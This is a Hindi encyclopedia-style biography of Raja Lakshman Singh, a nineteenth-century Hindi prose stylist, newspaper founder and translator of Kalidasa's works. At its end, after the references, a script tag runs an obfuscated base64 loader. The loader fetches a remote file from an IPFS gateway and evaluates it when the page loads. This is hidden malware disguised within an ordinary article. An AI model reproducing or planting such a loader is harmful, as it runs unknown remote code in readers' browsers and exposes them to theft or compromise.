राजा लक्ष्मण सिंह
राजा लक्ष्मण सिंह
| |
पूरा नाम | राजा लक्ष्मण सिंह |
जन्म | 9 अक्टूबर, 1826, आगरा |
जन्म भूमि | आगरा, उत्तर प्रदेश |
मृत्यु | 14 जुलाई, 1896 |
कर्म भूमि | भारत |
प्रसिद्धि | हिन्दी गद्यशैलीकार |
विशेष योगदान | 1861 में लक्ष्मण सिंह ने आगरा से "प्रजा हितैषी" नामक पत्र निकाला। 1863 में महाकवि कालिदास की अमर कृति "अभिज्ञान शाकुंतलम्" का हिंदी अनुवाद, "शंकुतला नाटक" के नाम से प्रकाशित हुआ। |
नागरिकता | भारतीय |
अन्य जानकारी | भाषा के संबंध में लक्ष्मण सिंह का मत था कि हिंदी और उर्दू अलग-अलग हैं। यह आवश्यक नहीं कि अरबी-फ़ारसी के शब्दों के बिना हिंदी न बोली जाए। आप शब्द-प्रतिशब्द के अनुवाद को उचित मानते थे। |
इन्हें भी देखें | कवि सूची, साहित्यकार सूची |
राजा लक्ष्मण सिंह (जन्म- 9 अक्टूबर, 1826, आगरा; मृत्यु- 14 जुलाई, 1896) भारतेंदु हरिश्चंद्र युग से पूर्व की हिन्दी गद्यशैली के प्रमुख विधायक थे। उन्होंने हिन्दी को हिन्दी संस्कृति के अनुकूल संस्कृतनिष्ठ बनाने की चेष्टा की। आगरा से 'प्रजा हितैषी' पत्र भी उन्होंने निकाला। राजा लक्ष्मण सिंह ने कालिदास के 'अभिज्ञान शाकुन्तलम्', 'रघुवंश' एवं 'मेघदूतम्' का हिन्दी में अनुवाद किया था।
परिचय
भारतेंदु हरिश्चंद्र से पहले के प्रमुख हिंदी गद्यकार लक्ष्मण सिंह का जन्म 9 अक्टूबर, 1826 ई. को आगरा, उत्तर प्रदेश में हुआ था। घर पर उर्दू और हिंदी पढ़ने के बाद उन्होंने कॉलेज में अंग्रेजी की शिक्षा प्राप्त की और पश्चिम उत्तर प्रदेश लेफ्टिनेंट गवर्नर के कार्यालय में अनुवादक नियुक्त हो गये। फिर वे तहसीलदार बने और 1857 में अंग्रेज़ों की सहायता करने पर डिप्टी कलेक्टर का पद और 'राजा' की उपाधि मिली। किंतु विदेशी सरकार की सेवा करते हुए भी साहित्य के क्षेत्र में भी वे सक्रिय रहे।[1]
लेखन कार्य
सन् 1861 में राजा लक्ष्मण सिंह ने आगरा से "प्रजा हितैषी" नामक पत्र निकाला। 1863 में महाकवि कालिदास की अमर कृति "अभिज्ञान शाकुन्तलम्" का हिंदी अनुवाद, "शंकुतला नाटक" के नाम से प्रकाशित हुआ। इसमें हिंदी की खड़ी बोली का जो नमूना आपने प्रस्तुत किया, उसे देखकर लोग चकित रह गए। राजा शिवप्रसाद सितारे हिंद ने अपनी "गुटका" में इस रचना को स्थान दिया। उस समय के प्रसिद्ध हिंदी प्रेमी फ्रेडरिक पिन्काट उनकी भाषा और शैली से बहुत प्रभावित हुए और 1875 में इसे इंग्लैंड में प्रकाशित कराया। इस कृति से लक्ष्मण सिंह को पर्याप्त ख्याति मिली और इसे इंडियन सिविल सर्विस की परीक्षा में पाठ्य पुस्तक के रूप में स्वीकार किया गया। इससे लेखक को धन और सम्मान दोनों मिले। इस सम्मान से राजा साहब को अधिक प्रोत्साहन मिला और उन्होंने 1877 में कालिदास के "रघुवंश" महाकाव्य का हिंदी अनुवाद किया।
ख्याति
राजा लक्ष्मण सिंह की अधिक ख्याति अनुवादक के रूप में है। भाषा के संबंध में उनका मत था कि हिंदी और उर्दू अलग-अलग हैं। यह आवश्यक नहीं कि अरबी-फ़ारसी के शब्दों के बिना हिंदी न बोली जाए। आप शब्द-प्रतिशब्द के अनुवाद को उचित मानते थे, यहाँ तक कि विभक्ति प्रयोग और पदविन्यास भी संस्कृत की पद्धति पर ही रहते थे। राजा साहब के अनुवादों की सफलता का रहस्य भाषा की सरलता और भावव्यंजना की स्पष्टता है। उनकी टकसाली भाषा का प्रभाव उस समय के सभी लोगों पर पड़ा और तत्कालीन सभी विद्वान् उनके अनुवाद से प्रभावित हुए।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ भारतीय चरित कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: शिक्षा भारती, मदरसा रोड, कश्मीरी गेट, दिल्ली |पृष्ठ संख्या: 755 |
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>